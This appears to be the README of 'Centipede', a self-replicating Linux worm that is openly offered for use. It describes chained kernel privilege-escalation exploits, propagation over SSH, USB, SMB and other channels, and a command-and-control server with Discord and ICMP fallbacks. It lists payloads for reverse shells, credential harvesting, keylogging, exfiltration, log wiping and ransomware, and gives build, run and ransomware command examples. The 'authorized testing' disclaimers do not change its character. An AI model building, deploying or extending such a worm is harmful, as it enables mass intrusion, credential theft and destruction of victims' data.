Self-replicating Linux worm with multi-layer C2 communication, privilege escalation via kernel exploits, dark web command interface, Discord fallback, and a full payload suite for post-exploitation operations.
DISCLAIMER: For authorized security testing and educational purposes only.
centipede/
├── cmd/
│ ├── centipede/ # Worm implant binary
│ └── c2d/ # C2 server daemon
├── internal/
│ ├── scanner/ # Network discovery and WiFi scanning
│ ├── exploiter/ # Kernel exploit delivery and LPE chaining
│ ├── replicator/ # Self-propagation across SSH, WiFi, USB, HTTP, SMB, CVE
│ ├── c2/ # Multi-layer C2 client with fallback
│ ├── payloads/ # Post-exploitation payload suite (13 payloads)
│ ├── sensor/ # Environment fingerprinting and sandbox detection
│ └── common/ # Cryptographic and system utilities
├── web/ # Dark web C2 dashboard
│ ├── static/css/ # Dark theme stylesheet
│ ├── static/js/ # Dashboard application logic
│ └── templates/ # HTML template
├── Makefile
└── README.md
The worm carries multiple kernel privilege escalation exploits that chain automatically:
| Exploit | CVE | Kernel Range | Architectures | Notes |
|---|---|---|---|---|
| DirtyFrag | CVE-2026-43284 + CVE-2026-43500 | 4.x - 6.x | x86_64, AARCH64 | IPsec ESP + RxRPC UAF chain. Original dirtyfrag implementation |
| Fragnesia | CVE-2026-43284 + CVE-2026-43500 | 4.x - 6.x | x86_64, AARCH64 | Dirtyfrag variant with different memory layout and exploitation path. Covers cases where original dirtyfrag fails |
| Copy-Fail | CVE-2026-31431 | 5.x - 6.x | x86_64, AARCH64 | AF_ALG/algif_aead page-cache write via splice primitive. Unified payload for both architectures (thanks Jakeswiz for extending architecture support for copyfail) |
| Dirty Pipe | CVE-2022-0847 | 5.8 - 5.16 | x86_64, AARCH64 | Direct pipe write to overwrite read-only files |
| PwnKit | CVE-2021-4034 | All | All | pkexec argument injection on any distribution with pkexec installed |
| GameOverlay | CVE-2023-3269 | 5.x+ | x86_64, AARCH64 | Ubuntu overlayfs LPE |
| OverlayFS | CVE-2023-2640 | 5.x+ | x86_64, AARCH64 | Additional Ubuntu overlayfs LPE vector |
The exploiter automatically detects kernel version, architecture (x86_64 or AARCH64), checks available kernel modules and capabilities, and chains exploits until root is obtained. DirtyFrag and Fragnesia run sequentially — if one fails due to kernel memory layout differences, the other may succeed. The unified Copy-Fail exploit includes both x86_64 and ARM64 payloads, making Centipede effective across cloud instances, Raspberry Pi botnets, and ARM-based servers.
Once a host is compromised and root is achieved, the worm uses the same exploit chain as a propagation vector:
This creates a self-sustaining propagation cycle independent of manual C2 intervention.
Four fallback communication layers in priority order:
All layers use end-to-end encryption with AES-GCM. The client automatically cycles through layers, falling back on connection failure and returning to higher-priority layers when connectivity is restored.
The C2 daemon provides:
- Dark web dashboard with real-time bot monitoring and activity feed
- Live WebSocket streaming for bot event updates
- Discord bot integration for command relay and result forwarding
- RESTful API for programmatic control
- Bot tagging and grouping for targeted command dispatch
- Command queue with execution tracking
DISCLAIMER: For authorized security testing and educational purposes only.
| Payload | Description |
|---|---|
| reverse_shell | Spawn reverse or bind shell on target |
| persist | Install via systemd, cron, .bashrc hooks, LD_PRELOAD |
| harvest | Extract credentials: /etc/shadow, SSH keys, env vars, DB configs, cloud credentials, Kubernetes configs |
| lateral | Inject SSH keys, scan known_hosts, discover orchestration infrastructure |
| pivot | Enable IP forwarding, SOCKS proxy, NAT masquerade |
| keylog | Capture keystrokes from input devices |
| sniff | Capture network traffic via tcpdump |
| enum | Full system enumeration: kernel, users, network, containers, cloud |
| exfil | Exfiltrate binary and harvested data via HTTP POST |
| wipe | Clear logs, history, journald, auditd, wtmp, randomize MAC |
| selfdestruct | Remove all traces, delete binary, and exit |
| ransomware | AES-256-GCM file encryption with operator-defined key. Key can be pre-set or auto-generated. Encrypts targeted file types across specified directories |
| ransomware_decrypt | Decrypt .centipede files using the same key used for encryption. Restores original files and removes ransom notes |
** Disclaimer extremly destructive!** must have authorization before using. proceed carefully.
The ransomware payload provides operator-controlled file encryption:
key argument. If no key is provided, one is auto-generated and returned.dirs argument (defaults to /home, /root, /var/www, /etc, /opt, /srv).Usage via C2:
> ransomware key="" dirs="/home,/root"
> ransomware key="a1b2c3d4..." dirs="/var/www"
> ransomware_decrypt key="a1b2c3d4..."
git clone https://github.com/ekomsSavior/Centipede
cd Centipede
make build
./bin/c2d -addr :8443
With Discord relay:
./bin/c2d -addr :8443 -discord-token "YOUR_BOT_TOKEN" -discord-channel "CHANNEL_ID"
With direct C2 endpoint:
./bin/centipede -c2 ws://YOUR_C2_IP:8443/ws/bot
With all fallbacks:
./bin/centipede \
-c2 ws://YOUR_C2_IP:8443/ws/bot \
-c2-dns c2.yourdomain.com \
-c2-discord-token "TOKEN" \
-c2-discord-channel "CHANNEL_ID" \
-c2-icmp YOUR_C2_IP
Access the dark web dashboard at http://YOUR_C2_IP:8443/. The interface provides:
Configuration file (/etc/centipede.conf):
{
"c2_endpoint": "ws://c2.example.com:8443/ws/bot",
"c2_dns_domain": "c2.example.com",
"c2_discord_token": "YOUR_TOKEN",
"c2_discord_channel": "CHANNEL_ID",
"c2_icmp_target": "c2.example.com",
"scan_interval": 300,
"spread_interval": 300,
"exploit": true,
"replication": true,
"masquerade": true
}
Command-line flags override config file values. The config file is read from /etc/centipede.conf by default.
DISCLAIMER: For authorized security testing and educational purposes only.
The exploit chain executes in order until root is obtained:
Each exploit checks its preconditions (module loaded, file exists, kernel version range, architecture compatibility) before attempting. Failures are non-fatal and the chain continues.
Built by ek0ms
Special thanks to the exploit research community, especially JakeSwiz https://github.com/0xXyc/ (0xXyc) for the AARCH64 port of Copy-Fail and contributions to the Fragnesia dirtyfrag variant- https://github.com/v12-security/pocs/tree/main/fragnesia
// click a file to view source